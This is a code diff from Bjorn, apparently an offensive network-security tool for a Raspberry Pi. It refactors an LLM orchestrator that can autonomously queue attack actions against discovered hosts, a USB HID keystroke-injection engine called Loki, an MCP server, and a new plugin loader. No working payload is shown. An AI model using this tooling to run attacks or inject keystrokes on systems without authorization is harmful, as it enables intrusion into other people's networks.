raw_bytes = resp.read().decode() + except (urllib.error.URLError, socket.timeout, ConnectionError, OSError) as e: + logger.warning(f"OpenAI-compat network error: {e}") + return None + try: + body = json.loads(raw_bytes) + except json.JSONDecodeError as e: + logger.warning(f"OpenAI-compat returned invalid JSON: {e}") + return None return body.get("choices", [{}])[0].get("message", {}).get("content") or None # ------------------------------------------------------------------ diff --git a/llm_orchestrator.py b/llm_orchestrator.py index 2c4375d..09aa44a 100644 --- a/llm_orchestrator.py +++ b/llm_orchestrator.py @@ -1,18 +1,4 @@ -# llm_orchestrator.py -# LLM-based orchestration layer for Bjorn. -# -# Modes (llm_orchestrator_mode in config): -# none — disabled (default); LLM has no role in scheduling -# advisor — LLM reviews state periodically and injects ONE priority action -# autonomous — LLM runs its own agentic cycle, observes via MCP tools, queues actions -# -# Prerequisites: llm_enabled=True, llm_orchestrator_mode != "none" -# -# Guard rails: -# llm_orchestrator_allowed_actions — whitelist for run_action (empty = mcp_allowed_tools) -# llm_orchestrator_max_actions — hard cap on actions per autonomous cycle -# llm_orchestrator_interval_s — cooldown between autonomous cycles -# Falls back silently when LLM unavailable (no crash, no spam) +"""llm_orchestrator.py - LLM-driven scheduling layer (advisor or autonomous mode).""" import json import threading @@ -32,8 +18,8 @@ class LLMOrchestrator: """ LLM-based orchestration layer. - advisor mode — called from orchestrator background tasks; LLM suggests one action. - autonomous mode — runs its own thread; LLM loops with full tool-calling. + advisor mode - called from orchestrator background tasks; LLM suggests one action. + autonomous mode - runs its own thread; LLM loops with full tool-calling. """ def __init__(self, shared_data): @@ -58,7 +44,7 @@ class LLMOrchestrator: self._thread.start() logger.info("LLM Orchestrator started (autonomous)") elif mode == "advisor": - logger.info("LLM Orchestrator ready (advisor — called from background tasks)") + logger.info("LLM Orchestrator ready (advisor - called from background tasks)") def stop(self) -> None: self._stop.set() @@ -152,7 +138,7 @@ class LLMOrchestrator: system = ( "You are Bjorn's tactical advisor. Review the current network state " "and suggest ONE action to queue, or nothing if the queue is sufficient. " - "Reply ONLY with valid JSON — no markdown, no commentary.\n" + "Reply ONLY with valid JSON - no markdown, no commentary.\n" 'Format when action needed: {"action": "ActionName", "target_ip": "1.2.3.4", "reason": "brief"}\n' 'Format when nothing needed: {"action": null}\n' "action must be exactly one of: " + ", ".join(allowed) + "\n" @@ -197,7 +183,7 @@ class LLMOrchestrator: return None if action not in allowed: - logger.warning(f"LLM advisor suggested disallowed action '{action}' — ignored") + logger.warning(f"LLM advisor suggested disallowed action '{action}' - ignored") return None target_ip = str(data.get("target_ip", "")).strip() @@ -226,7 +212,7 @@ class LLMOrchestrator: return action except json.JSONDecodeError: - logger.debug(f"LLM advisor: invalid JSON: {raw[:200]}") + logger.warning(f"LLM advisor: invalid JSON response: {raw[:200]}") return None except Exception as e: logger.debug(f"LLM advisor apply error: {e}") @@ -243,7 +229,7 @@ class LLMOrchestrator: if self._is_llm_enabled() and self._mode() == "autonomous": self._run_autonomous_cycle() else: - # Mode was switched off at runtime — stop thread + # Mode was switched off at runtime - stop thread break except Exception as e: logger.error(f"LLM autonomous cycle error: {e}") @@ -255,7 +241,7 @@ class LLMOrchestrator: def _compute_fingerprint(self) -> tuple: """ Compact state fingerprint: (hosts, vulns, creds, last_completed_queue_id). - Only increases are meaningful — a host going offline is not an opportunity. + Only increases are meaningful - a host going offline is not an opportunity. """ try: hosts = int(getattr(self._sd, "target_count", 0)) @@ -385,7 +371,7 @@ class LLMOrchestrator: real_ips = snapshot.get("VALID_TARGET_IPS", []) ip_list_str = ", ".join(real_ips) if real_ips else "(no hosts discovered yet)" - # Short system prompt — small models forget long instructions + # Short system prompt - small models forget long instructions system = ( "You are a network security orchestrator. " "You receive network scan data and output a JSON array of actions. " @@ -496,11 +482,11 @@ class LLMOrchestrator: logger.debug(f"LLM autonomous: skipping invalid/disallowed action '{action}'") continue if not target_ip: - logger.debug(f"LLM autonomous: skipping '{action}' — no target_ip") + logger.debug(f"LLM autonomous: skipping '{action}' - no target_ip") continue if not self._is_valid_ip(target_ip): logger.warning( - f"LLM autonomous: skipping '{action}' — invalid/placeholder IP '{target_ip}' " + f"LLM autonomous: skipping '{action}' - invalid/placeholder IP '{target_ip}' " f"(LLM must use exact IPs from alive_hosts)" ) continue @@ -508,7 +494,7 @@ class LLMOrchestrator: mac = self._resolve_mac(target_ip) if not mac: logger.warning( - f"LLM autonomous: skipping '{action}' @ {target_ip} — " + f"LLM autonomous: skipping '{action}' @ {target_ip} - " f"IP not found in hosts table (LLM used an IP not in alive_hosts)" ) continue @@ -535,7 +521,7 @@ class LLMOrchestrator: pass except json.JSONDecodeError as e: - logger.debug(f"LLM autonomous: JSON parse error: {e} — raw: {raw[:200]}") + logger.debug(f"LLM autonomous: JSON parse error: {e} - raw: {raw[:200]}") except Exception as e: logger.debug(f"LLM autonomous: action queue error: {e}") diff --git a/logger.py b/logger.py index 7ecc135..8c57ff8 100644 --- a/logger.py +++ b/logger.py @@ -1,4 +1,5 @@ -# logger.py +"""logger.py - Rotating file + console logger with custom SUCCESS level.""" + import logging import os import threading diff --git a/loki/__init__.py b/loki/__init__.py index 6739b64..df8c014 100644 --- a/loki/__init__.py +++ b/loki/__init__.py @@ -1,21 +1,6 @@ -""" -Loki — HID Attack Engine for Bjorn. +"""__init__.py - Loki HID attack engine for Bjorn. -Manages USB HID gadget lifecycle, script execution, and job tracking. -Named after the Norse trickster god. - -Loki is the 5th exclusive operation mode (alongside MANUAL, AUTO, AI, BIFROST). -When active, the orchestrator stops and the Pi acts as a keyboard/mouse -to the connected host via /dev/hidg0 (keyboard) and /dev/hidg1 (mouse). - -HID GADGET STRATEGY: - The HID functions (keyboard + mouse) are created ONCE at boot time alongside - RNDIS networking by the usb-gadget.sh script. This avoids the impossible task - of hot-adding HID functions to a running composite gadget (UDC rebind fails - with EIO when RNDIS is active). - - LokiEngine simply opens/closes the /dev/hidg0 and /dev/hidg1 device files. - If /dev/hidg0 doesn't exist, the user needs to run the setup once and reboot. +Manages USB HID gadget lifecycle, HIDScript execution, and job tracking. """ import os import time @@ -27,7 +12,7 @@ from logger import Logger logger = Logger(name="loki", level=logging.DEBUG) -# USB HID report descriptors — EXACT byte-for-byte copies from P4wnP1_aloa +# USB HID report descriptors - EXACT byte-for-byte copies from P4wnP1_aloa # Source: P4wnP1_aloa-master/service/SubSysUSB.go lines 54-70 # # These are written to the gadget at boot time by usb-gadget.sh. @@ -64,7 +49,7 @@ _MOUSE_REPORT_DESC = bytes([ # The boot script that creates RNDIS + HID functions at startup. # This replaces /usr/local/bin/usb-gadget.sh _USB_GADGET_SCRIPT = '''#!/bin/bash -# usb-gadget.sh — USB composite gadget: RNDIS networking + HID (keyboard/mouse) +# usb-gadget.sh - USB composite gadget: RNDIS networking + HID (keyboard/mouse) # Auto-generated by Bjorn Loki. Do not edit manually. modprobe libcomposite @@ -196,7 +181,7 @@ _GADGET_SCRIPT_PATH = "/usr/local/bin/usb-gadget.sh" class LokiEngine: - """HID attack engine — manages script execution and job tracking. + """HID attack engine - manages script execution and job tracking. The USB HID gadget (keyboard + mouse) is set up at boot time by usb-gadget.sh. This engine simply opens /dev/hidg0 and /dev/hidg1. @@ -242,7 +227,7 @@ class LokiEngine: # Check if HID gadget is available (set up at boot) if not os.path.exists("/dev/hidg0"): logger.error( - "/dev/hidg0 not found — HID gadget not configured at boot. " + "/dev/hidg0 not found - HID gadget not configured at boot. " "Run install_hid_gadget() from the Loki API and reboot." ) self._gadget_ready = False @@ -287,7 +272,7 @@ class LokiEngine: if job["status"] == "running": self._jobs.cancel_job(job["id"]) - # Close HID devices (don't remove gadget — it persists) + # Close HID devices (don't remove gadget - it persists) if self._hid: self._hid.close() diff --git a/loki/hid_controller.py b/loki/hid_controller.py index 34cad6f..4618e43 100644 --- a/loki/hid_controller.py +++ b/loki/hid_controller.py @@ -1,5 +1,5 @@ -""" -Low-level USB HID controller for Loki. +"""hid_controller.py - Low-level USB HID controller for Loki. + Writes keyboard and mouse reports to /dev/hidg0 and /dev/hidg1. """ import os @@ -16,7 +16,7 @@ from loki.layouts import load as load_layout logger = Logger(name="loki.hid_controller", level=logging.DEBUG) # ── HID Keycodes ────────────────────────────────────────────── -# USB HID Usage Tables — Keyboard/Keypad Page (0x07) +# USB HID Usage Tables - Keyboard/Keypad Page (0x07) KEY_NONE = 0x00 KEY_A = 0x04 diff --git a/loki/hidscript.py b/loki/hidscript.py index bf66df6..c1ca2e7 100644 --- a/loki/hidscript.py +++ b/loki/hidscript.py @@ -1,17 +1,6 @@ -""" -HIDScript parser and executor for Loki. +"""hidscript.py - P4wnP1-compatible HIDScript parser and executor. -Supports P4wnP1-compatible HIDScript syntax: - - Function calls: type("hello"); press("GUI r"); delay(500); - - var declarations: var x = 1; - - for / while loops - - if / else conditionals - - // and /* */ comments - - String concatenation with + - - Basic arithmetic (+, -, *, /) - - console.log() for job output - -Zero external dependencies — pure Python DSL parser. +Pure Python DSL parser supporting type/press/delay, loops, conditionals, and variables. """ import re import time @@ -240,7 +229,7 @@ class HIDScriptParser: else_body = source[after_else+1:eb_end] next_pos = eb_end + 1 elif source[after_else:after_else+2] == 'if': - # else if — parse recursively + # else if - parse recursively inner_if, next_pos = self._parse_if(source, after_else) else_body = inner_if # will be a dict, handle in exec else: diff --git a/loki/jobs.py b/loki/jobs.py index 5fc79be..a41c772 100644 --- a/loki/jobs.py +++ b/loki/jobs.py @@ -1,5 +1,5 @@ -""" -Loki job manager — tracks HIDScript execution jobs. +"""jobs.py - Loki job manager, tracks HIDScript execution jobs. + Each job runs in its own daemon thread. """ import uuid diff --git a/loki/layouts/__init__.py b/loki/layouts/__init__.py index d84e7f1..a26556d 100644 --- a/loki/layouts/__init__.py +++ b/loki/layouts/__init__.py @@ -1,5 +1,5 @@ -""" -Keyboard layout loader for Loki HID subsystem. +"""__init__.py - Keyboard layout loader for Loki HID subsystem. + Caches loaded layouts in memory. """ import json diff --git a/loki/layouts/generate_layouts.py b/loki/layouts/generate_layouts.py index f803c35..ad1bae0 100644 --- a/loki/layouts/generate_layouts.py +++ b/loki/layouts/generate_layouts.py @@ -1,11 +1,13 @@ +"""generate_layouts.py - Generates localized keyboard layout JSON files from a US base layout.""" + import json import os -# Chargement de la base US existante +# Load the US base layout with open("us.json", "r") as f: US_BASE = json.load(f) -# Définition des différences par rapport au clavier US +# Key differences from the US layout # 0 = Normal, 2 = Shift, 64 = AltGr (Right Alt) LAYOUT_DIFFS = { "fr": { @@ -59,20 +61,18 @@ LAYOUT_DIFFS = { "б": [0, 54], "ю": [0, 55], "ё": [0, 53], ".": [0, 56], ",": [2, 56], "№": [2, 32], ";": [2, 33], ":": [2, 35], "?": [2, 36] }, - "zh": {} # ZH utilise exactement le layout US + "zh": {} # ZH uses the exact US layout } def generate_layouts(): for lang, diff in LAYOUT_DIFFS.items(): - # Copie de la base US new_layout = dict(US_BASE) - # Application des modifications new_layout.update(diff) filename = f"{lang}.json" with open(filename, "w", encoding="utf-8") as f: json.dump(new_layout, f, indent=4, ensure_ascii=False) - print(f"Généré : {filename} ({len(new_layout)} touches)") + print(f"Generated: {filename} ({len(new_layout)} keys)") if __name__ == "__main__": generate_layouts() \ No newline at end of file diff --git a/mcp_server.py b/mcp_server.py index 4efe747..af01c6e 100644 --- a/mcp_server.py +++ b/mcp_server.py @@ -1,11 +1,4 @@ -# mcp_server.py -# Model Context Protocol server for Bjorn. -# Exposes Bjorn's database and actions as MCP tools consumable by any MCP client -# (Claude Desktop, custom agents, etc.). -# -# Transport: HTTP SSE (default, port configurable) or stdio. -# Requires: pip install mcp -# Gracefully no-ops if mcp is not installed. +"""mcp_server.py - MCP server exposing Bjorn's DB and actions to external AI clients.""" import json import threading @@ -162,9 +155,12 @@ def _impl_run_action(action_name: str, target_ip: str, target_mac: str = "") -> def _impl_query_db(sql: str, params: Optional[List] = None) -> str: """Run a read-only SELECT query. Non-SELECT statements are rejected.""" try: - stripped = sql.strip().upper() - if not stripped.startswith("SELECT"): + stripped = sql.strip() + # Reject non-SELECT and stacked queries (multiple statements) + if not stripped.upper().startswith("SELECT"): return json.dumps({"error": "Only SELECT queries are allowed."}) + if ';' in stripped.rstrip(';'): + return json.dumps({"error": "Multiple statements are not allowed."}) rows = _sd().db.query(sql, tuple(params or [])) return json.dumps([dict(r) for r in rows] if rows else [], default=str) except Exception as e: @@ -180,7 +176,7 @@ def _build_mcp_server(): try: from mcp.server.fastmcp import FastMCP except ImportError: - logger.warning("mcp package not installed — MCP server disabled. " + logger.warning("mcp package not installed - MCP server disabled. " "Run: pip install mcp") return None @@ -295,7 +291,7 @@ def start(block: bool = False) -> bool: mcp.run(transport="stdio") else: logger.info(f"MCP server starting (HTTP SSE transport, port {port})") - # FastMCP HTTP SSE — runs uvicorn internally + # FastMCP HTTP SSE - runs uvicorn internally mcp.run(transport="sse", port=port) except Exception as e: logger.error(f"MCP server error: {e}") @@ -311,10 +307,10 @@ def start(block: bool = False) -> bool: def stop() -> None: - """Signal MCP server to stop (best-effort — FastMCP handles cleanup).""" + """Signal MCP server to stop (best-effort - FastMCP handles cleanup).""" global _server_thread if _server_thread and _server_thread.is_alive(): - logger.info("MCP server thread stopping (daemon — will exit with process)") + logger.info("MCP server thread stopping (daemon - will exit with process)") _server_thread = None diff --git a/orchestrator.py b/orchestrator.py index 60c1cae..294272f 100644 --- a/orchestrator.py +++ b/orchestrator.py @@ -1,5 +1,4 @@ -# orchestrator.py -# Action queue consumer for Bjorn - executes actions from the scheduler queue +"""orchestrator.py - Action queue consumer: pulls scheduled actions and executes them.""" import importlib import time @@ -156,7 +155,26 @@ class Orchestrator: module_name = action["b_module"] b_class = action["b_class"] - # 🔴 Skip disabled actions + # Skip custom user scripts (manual-only, not part of the orchestrator loop) + if action.get("b_action") == "custom" or module_name.startswith("custom/"): + continue + + # Plugin actions — loaded via plugin_manager, not importlib + if action.get("b_action") == "plugin" or module_name.startswith("plugins/"): + try: + mgr = getattr(self.shared_data, 'plugin_manager', None) + if mgr and b_class in mgr._instances: + instance = mgr._instances[b_class] + instance.action_name = b_class + instance.port = action.get("b_port") + instance.b_parent_action = action.get("b_parent") + self.actions[b_class] = instance + logger.info(f"Loaded plugin action: {b_class}") + except Exception as e: + logger.error(f"Failed to load plugin action {b_class}: {e}") + continue + + # Skip disabled actions if not int(action.get("b_enabled", 1)): logger.info(f"Skipping disabled action: {b_class}") continue @@ -523,7 +541,7 @@ class Orchestrator: ip = queued_action['ip'] port = queued_action['port'] - # Parse metadata once — used throughout this function + # Parse metadata once - used throughout this function metadata = json.loads(queued_action.get('metadata', '{}')) source = str(metadata.get('decision_method', 'unknown')) source_label = f"[{source.upper()}]" if source != 'unknown' else "" @@ -691,6 +709,13 @@ class Orchestrator: except Exception as cb_err: logger.debug(f"Circuit breaker update skipped: {cb_err}") + # Notify script scheduler for conditional triggers + if self.shared_data.script_scheduler: + try: + self.shared_data.script_scheduler.notify_action_complete(action_name, mac, success) + except Exception: + pass + except Exception as e: logger.error(f"Error executing action {action_name}: {e}") self.shared_data.db.update_queue_status(queue_id, 'failed', str(e)) @@ -744,7 +769,7 @@ class Orchestrator: 'port': port, 'action': action_name, 'queue_id': queue_id, - # metadata already parsed — no second json.loads + # metadata already parsed - no second json.loads 'metadata': metadata, # Tag decision source so the training pipeline can weight # human choices (MANUAL would be logged if orchestrator @@ -781,7 +806,20 @@ class Orchestrator: ) elif self.feature_logger and state_before: logger.debug(f"Feature logging disabled for {action_name} (excluded from AI learning)") - + + # Dispatch plugin hooks + try: + mgr = getattr(self.shared_data, 'plugin_manager', None) + if mgr: + mgr.dispatch( + "on_action_complete", + action_name=action_name, + success=success, + target={"mac": mac, "ip": ip, "port": port}, + ) + except Exception: + pass + return success def run(self): @@ -839,8 +877,10 @@ class Orchestrator: logger.debug(f"Queue empty, idling... ({idle_time}s)") # Event-driven wait (max 5s to check for exit signals) - self.shared_data.queue_event.wait(timeout=5) + # Clear before wait to avoid lost-wake race condition: + # if set() fires between wait() returning and clear(), the signal is lost. self.shared_data.queue_event.clear() + self.shared_data.queue_event.wait(timeout=5) # Periodically process background tasks (even if busy) current_time = time.time() @@ -880,7 +920,7 @@ class Orchestrator: def _process_background_tasks(self): """Run periodic tasks like consolidation, upload retries, and model updates (AI mode only).""" - # LLM advisor mode — runs regardless of AI mode + # LLM advisor mode - runs regardless of AI mode if self.llm_orchestrator and self.shared_data.config.get("llm_orchestrator_mode") == "advisor": try: self.llm_orchestrator.advise() diff --git a/plugin_manager.py b/plugin_manager.py new file mode 100644 index 0000000..a003f28 --- /dev/null +++ b/plugin_manager.py @@ -0,0 +1,682 @@ +"""plugin_manager.py - Plugin discovery, lifecycle, hook dispatch, and config management.""" + +import gc +import importlib +import importlib.util +import json +import logging +import os +import shutil +import sys +import tempfile +import threading +import weakref +import zipfile +from typing import Any, Dict, List, Optional, Set + +from bjorn_plugin import BjornPlugin +from logger import Logger + +logger = Logger(name="plugin_manager", level=logging.DEBUG) + +# Supported hooks (must match BjornPlugin method names) +KNOWN_HOOKS = frozenset({ + "on_host_discovered", + "on_credential_found", + "on_vulnerability_found", + "on_action_complete", + "on_scan_complete", +}) + +# Required fields in plugin.json +_REQUIRED_MANIFEST_FIELDS = {"id", "name", "version", "type", "main", "class"} + +# Valid plugin types +_VALID_TYPES = {"action", "notifier", "enricher", "exporter", "ui_widget"} + +# Max loaded plugins (RAM safety on Pi Zero 2) +_MAX_PLUGINS = 30 + +# Max error entries to retain (prevents unbounded growth) +_MAX_ERRORS = 50 + + +class PluginManager: + """Manages plugin discovery, lifecycle, hook dispatch, and configuration.""" + + def __init__(self, shared_data): + self.shared_data = shared_data + self.plugins_dir = getattr(shared_data, 'plugins_dir', None) + if not self.plugins_dir: + self.plugins_dir = os.path.join(shared_data.current_dir, 'plugins') + os.makedirs(self.plugins_dir, exist_ok=True) + + self._instances: Dict[str, BjornPlugin] = {} # plugin_id -> instance + self._meta: Dict[str, dict] = {} # plugin_id -> parsed plugin.json + self._hook_map: Dict[str, Set[str]] = {h: set() for h in KNOWN_HOOKS} # sets, not lists + self._lock = threading.Lock() + self._errors: Dict[str, str] = {} # plugin_id -> error message (bounded) + + # Track original DB methods for clean unhook + self._original_db_methods: Dict[str, Any] = {} + + # ── Discovery ──────────────────────────────────────────────────── + + def discover_plugins(self) -> List[dict]: + """Scan plugins_dir, parse each plugin.json, return list of valid metadata dicts.""" + results = [] + if not os.path.isdir(self.plugins_dir): + return results + + for entry in os.listdir(self.plugins_dir): + plugin_dir = os.path.join(self.plugins_dir, entry) + if not os.path.isdir(plugin_dir): + continue + + manifest_path = os.path.join(plugin_dir, "plugin.json") + if not os.path.isfile(manifest_path): + logger.debug(f"Skipping {entry}: no plugin.json") + continue + + try: + with open(manifest_path, "r", encoding="utf-8") as f: + meta = json.load(f) + except Exception as e: + logger.warning(f"Invalid plugin.json in {entry}: {e}") + continue + + # Validate required fields + missing = _REQUIRED_MANIFEST_FIELDS - set(meta.keys()) + if missing: + logger.warning(f"Plugin {entry} missing fields: {missing}") + continue + + if meta["type"] not in _VALID_TYPES: + logger.warning(f"Plugin {entry} has invalid type: {meta['type']}") + continue + + # Ensure main file exists + main_path = os.path.join(plugin_dir, meta["main"]) + if not os.path.isfile(main_path): + logger.warning(f"Plugin {entry}: main file {meta['main']} not found") + continue + + meta["_dir"] = plugin_dir + meta["_main_path"] = main_path + results.append(meta) + + logger.info(f"Discovered {len(results)} plugin(s)") + return results + + # ── Loading ────────────────────────────────────────────────────── + + def load_plugin(self, plugin_id: str) -> bool: + """Load a single plugin: import module, instantiate class, call setup().""" + # Quick check under lock (no I/O here) + with self._lock: + if plugin_id in self._instances: + logger.debug(f"Plugin {plugin_id} already loaded") + return True + + if len(self._instances) >= _MAX_PLUGINS: + logger.warning(f"Max plugins reached ({_MAX_PLUGINS}), cannot load {plugin_id}") + return False + + # Read manifest OUTSIDE the lock (I/O) + plugin_dir = os.path.join(self.plugins_dir, plugin_id) + manifest_path = os.path.join(plugin_dir, "plugin.json") + if not os.path.isfile(manifest_path): + self._set_error(plugin_id, "plugin.json not found") + return False + + try: + with open(manifest_path, "r", encoding="utf-8") as f: + meta = json.load(f) + except Exception as e: + self._set_error(plugin_id, f"Invalid plugin.json: {e}") + return False + + meta["_dir"] = plugin_dir + meta["_main_path"] = os.path.join(plugin_dir, meta.get("main", "")) + + # Load config from DB (merged with schema defaults) + config = self._get_merged_config(plugin_id, meta) + + # Import module from file (OUTSIDE the lock — slow I/O) + mod_name = f"bjorn_plugin_{plugin_id}" + try: + main_path = meta["_main_path"] + spec = importlib.util.spec_from_file_location(mod_name, main_path) + if spec is None or spec.loader is None: + self._set_error(plugin_id, f"Cannot create module spec for {main_path}") + return False + + mod = importlib.util.module_from_spec(spec) + spec.loader.exec_module(mod) + + cls_name = meta.get("class", "") + cls = getattr(mod, cls_name, None) + if cls is None: + self._set_error(plugin_id, f"Class {cls_name} not found in {meta['main']}") + return False + + # Instantiate + instance = cls(self.shared_data, meta, config) + + # Call setup + instance.setup() + + except Exception as e: + self._set_error(plugin_id, f"Load failed: {e}") + logger.error(f"Failed to load plugin {plugin_id}: {e}") + # Clean up module from sys.modules on failure + sys.modules.pop(mod_name, None) + return False + + # Register UNDER the lock (fast, no I/O) + with self._lock: + self._instances[plugin_id] = instance + self._meta[plugin_id] = meta + self._errors.pop(plugin_id, None) + + # Register hooks (set — no duplicates possible) + declared_hooks = meta.get("hooks", []) + for hook_name in declared_hooks: + if hook_name in KNOWN_HOOKS: + self._hook_map[hook_name].add(plugin_id) + + # Persist hooks to DB (outside lock) + try: + valid_hooks = [h for h in declared_hooks if h in KNOWN_HOOKS] + self.shared_data.db.set_plugin_hooks(plugin_id, valid_hooks) + except Exception as e: + logger.debug(f"Could not persist hooks for {plugin_id}: {e}") + + logger.info(f"Plugin loaded: {plugin_id} (type={meta.get('type')})") + return True + + def unload_plugin(self, plugin_id: str) -> None: + """Call teardown() and remove from instances/hooks. Cleans up module from sys.modules.""" + with self._lock: + instance = self._instances.pop(plugin_id, None) + self._meta.pop(plugin_id, None) + + # Remove from all hook sets + for hook_set in self._hook_map.values(): + hook_set.discard(plugin_id) + + if instance: + try: + instance.teardown() + except Exception as e: + logger.warning(f"Teardown error for {plugin_id}: {e}") + # Break references to help GC + instance.shared_data = None + instance.db = None + instance.config = None + instance.meta = None + + # Remove module from sys.modules to free bytecode memory + mod_name = f"bjorn_plugin_{plugin_id}" + sys.modules.pop(mod_name, None) + + logger.info(f"Plugin unloaded: {plugin_id}") + + def load_all(self) -> None: + """Load all enabled plugins. Called at startup.""" + discovered = self.discover_plugins() + + for meta in discovered: + plugin_id = meta["id"] + + # Ensure DB record exists with defaults + db_record = self.shared_data.db.get_plugin_config(plugin_id) + if db_record is None: + # First time: insert with schema defaults + default_config = self._extract_defaults(meta) + self.shared_data.db.upsert_plugin(plugin_id, 1, default_config, meta) + db_record = self.shared_data.db.get_plugin_config(plugin_id) + + # Only load if enabled + if db_record and db_record.get("enabled", 1): + self.load_plugin(plugin_id) + else: + logger.debug(f"Plugin {plugin_id} is disabled, skipping load") + + def stop_all(self) -> None: + """Teardown all loaded plugins. Called at shutdown.""" + with self._lock: + plugin_ids = list(self._instances.keys()) + + for pid in plugin_ids: + self.unload_plugin(pid) + + # Restore original DB methods (remove monkey-patches) + self._uninstall_db_hooks() + + # Clear all references + self._errors.clear() + self._meta.clear() + + gc.collect() + logger.info("All plugins stopped") + + # ── Hook Dispatch ──────────────────────────────────────────────── + + def dispatch(self, hook_name: str, **kwargs) -> None: + """ + Fire a hook to all subscribed plugins. + Synchronous, catches exceptions per-plugin to isolate failures. + """ + if hook_name not in KNOWN_HOOKS: + return + + # Copy subscriber set under lock (fast), then call outside lock + with self._lock: + subscribers = list(self._hook_map.get(hook_name, set())) + + for plugin_id in subscribers: + instance = self._instances.get(plugin_id) + if instance is None: + continue + try: + method = getattr(instance, hook_name, None) + if method: + method(**kwargs) + except Exception as e: + logger.error(f"Hook {hook_name} failed in plugin {plugin_id}: {e}") + + # ── DB Hook Wrappers ───────────────────────────────────────────── + + def install_db_hooks(self) -> None: + """ + Monkey-patch DB facade methods to dispatch hooks on data mutations. + Uses weakref to avoid reference cycles between PluginManager and DB. + """ + db = self.shared_data.db + manager_ref = weakref.ref(self) + + # Wrap insert_cred + if hasattr(db, 'insert_cred'): + original = db.insert_cred + self._original_db_methods['insert_cred'] = original + + def hooked_insert_cred(*args, **kwargs): + result = original(*args, **kwargs) + try: + mgr = manager_ref() + if mgr: + mgr.dispatch("on_credential_found", cred={ + "service": kwargs.get("service", args[0] if args else ""), + "mac": kwargs.get("mac", args[1] if len(args) > 1 else ""), + "ip": kwargs.get("ip", args[2] if len(args) > 2 else ""), + "user": kwargs.get("user", args[4] if len(args) > 4 else ""), + "port": kwargs.get("port", args[6] if len(args) > 6 else ""), + }) + except Exception as e: + logger.debug(f"Hook dispatch error (on_credential_found): {e}") + return result + + db.insert_cred = hooked_insert_cred + + # Wrap insert_vulnerability if it exists + if hasattr(db, 'insert_vulnerability'): + original = db.insert_vulnerability + self._original_db_methods['insert_vulnerability'] = original + + def hooked_insert_vuln(*args, **kwargs): + result = original(*args, **kwargs) + try: + mgr = manager_ref() + if mgr: + mgr.dispatch("on_vulnerability_found", vuln=kwargs or {}) + except Exception as e: + logger.debug(f"Hook dispatch error (on_vulnerability_found): {e}") + return result + + db.insert_vulnerability = hooked_insert_vuln + + logger.debug("DB hook wrappers installed (weakref)") + + def _uninstall_db_hooks(self) -> None: + """Restore original DB methods, removing monkey-patches.""" + db = getattr(self.shared_data, 'db', None) + if not db: + return + for method_name, original in self._original_db_methods.items(): + try: + setattr(db, method_name, original) + except Exception: + pass + self._original_db_methods.clear() + logger.debug("DB hook wrappers removed") + + # ── Action Registration ────────────────────────────────────────── + + def get_action_registrations(self) -> List[dict]: + """ + Return action-metadata dicts for plugins of type='action'. + These get merged into sync_actions_to_database() alongside regular actions. + """ + registrations = [] + + for meta in self._meta.values(): + if meta.get("type") != "action": + continue + + action_meta = meta.get("action", {}) + plugin_id = meta["id"] + + reg = { + "b_class": meta.get("class", plugin_id), + "b_module": f"plugins/{plugin_id}", + "b_action": "plugin", + "b_name": meta.get("name", plugin_id), + "b_description": meta.get("description", ""), + "b_author": meta.get("author", ""), + "b_version": meta.get("version", "0.0.0"), + "b_icon": meta.get("icon", ""), + "b_enabled": 1, + "b_port": action_meta.get("port"), + "b_service": json.dumps(action_meta.get("service", [])), + "b_trigger": action_meta.get("trigger"), + "b_priority": action_meta.get("priority", 50), + "b_cooldown": action_meta.get("cooldown", 0), + "b_timeout": action_meta.get("timeout", 300), + "b_max_retries": action_meta.get("max_retries", 1), + "b_stealth_level": action_meta.get("stealth_level", 5), + "b_risk_level": action_meta.get("risk_level", "medium"), + "b_tags": json.dumps(meta.get("tags", [])), + "b_args": json.dumps(meta.get("config_schema", {})), + } + registrations.append(reg) + + return registrations + + # ── Config Management ──────────────────────────────────────────── + + def get_config(self, plugin_id: str) -> dict: + """Return merged config: schema defaults + DB overrides.""" + return self._get_merged_config(plugin_id, self._meta.get(plugin_id)) + + def save_config(self, plugin_id: str, values: dict) -> None: + """Validate against schema, persist to DB, hot-reload into instance.""" + meta = self._meta.get(plugin_id) + if not meta: + raise ValueError(f"Plugin {plugin_id} not found") + + schema = meta.get("config_schema", {}) + validated = {} + + for key, spec in schema.items(): + if key in values: + validated[key] = self._coerce_value(values[key], spec) + else: + validated[key] = spec.get("default") + + self.shared_data.db.save_plugin_config(plugin_id, validated) + + # Hot-reload config into running instance + instance = self._instances.get(plugin_id) + if instance: + instance.config = validated + + logger.info(f"Config saved for plugin {plugin_id}") + + # ── Install / Uninstall ────────────────────────────────────────── + + def install_from_zip(self, zip_bytes: bytes) -> dict: + """ + Extract zip to plugins//, validate plugin.json, register in DB. + Returns {"status": "ok", "plugin_id": ...} or {"status": "error", ...}. + """ + tmp_dir = None + try: + # Extract to temp dir + tmp_dir = tempfile.mkdtemp(prefix="bjorn_plugin_") + zip_path = os.path.join(tmp_dir, "plugin.zip") + with open(zip_path, "wb") as f: + f.write(zip_bytes) + + with zipfile.ZipFile(zip_path, "r") as zf: + # Security: check for path traversal in zip + for name in zf.namelist(): + if name.startswith("/") or ".." in name: + return {"status": "error", "message": f"Unsafe path in zip: {name}"} + zf.extractall(tmp_dir) + + # Find plugin.json (may be in root or in a subdirectory) + manifest_path = None + for walk_root, dirs, files in os.walk(tmp_dir): + if "plugin.json" in files: + manifest_path = os.path.join(walk_root, "plugin.json") + break + + if not manifest_path: + return {"status": "error", "message": "No plugin.json found in archive"} + + with open(manifest_path, "r", encoding="utf-8") as f: + meta = json.load(f) + + missing = _REQUIRED_MANIFEST_FIELDS - set(meta.keys()) + if missing: + return {"status": "error", "message": f"Missing manifest fields: {missing}"} + + plugin_id = meta["id"] + plugin_source_dir = os.path.dirname(manifest_path) + target_dir = os.path.join(self.plugins_dir, plugin_id) + + # Check if already installed + if os.path.isdir(target_dir): + # Allow upgrade: remove old version + self.unload_plugin(plugin_id) + shutil.rmtree(target_dir) + + # Move to plugins dir + shutil.copytree(plugin_source_dir, target_dir) + + # Register in DB + default_config = self._extract_defaults(meta) + self.shared_data.db.upsert_plugin(plugin_id, 0, default_config, meta) + + # Check dependencies + dep_check = self.check_dependencies(meta) + if not dep_check["ok"]: + logger.warning(f"Plugin {plugin_id} has missing deps: {dep_check['missing']}") + + logger.info(f"Plugin installed: {plugin_id}") + return { + "status": "ok", + "plugin_id": plugin_id, + "name": meta.get("name", plugin_id), + "dependencies": dep_check, + } + + except Exception as e: + logger.error(f"Plugin install failed: {e}") + return {"status": "error", "message": "Plugin installation failed"} + finally: + # Always clean 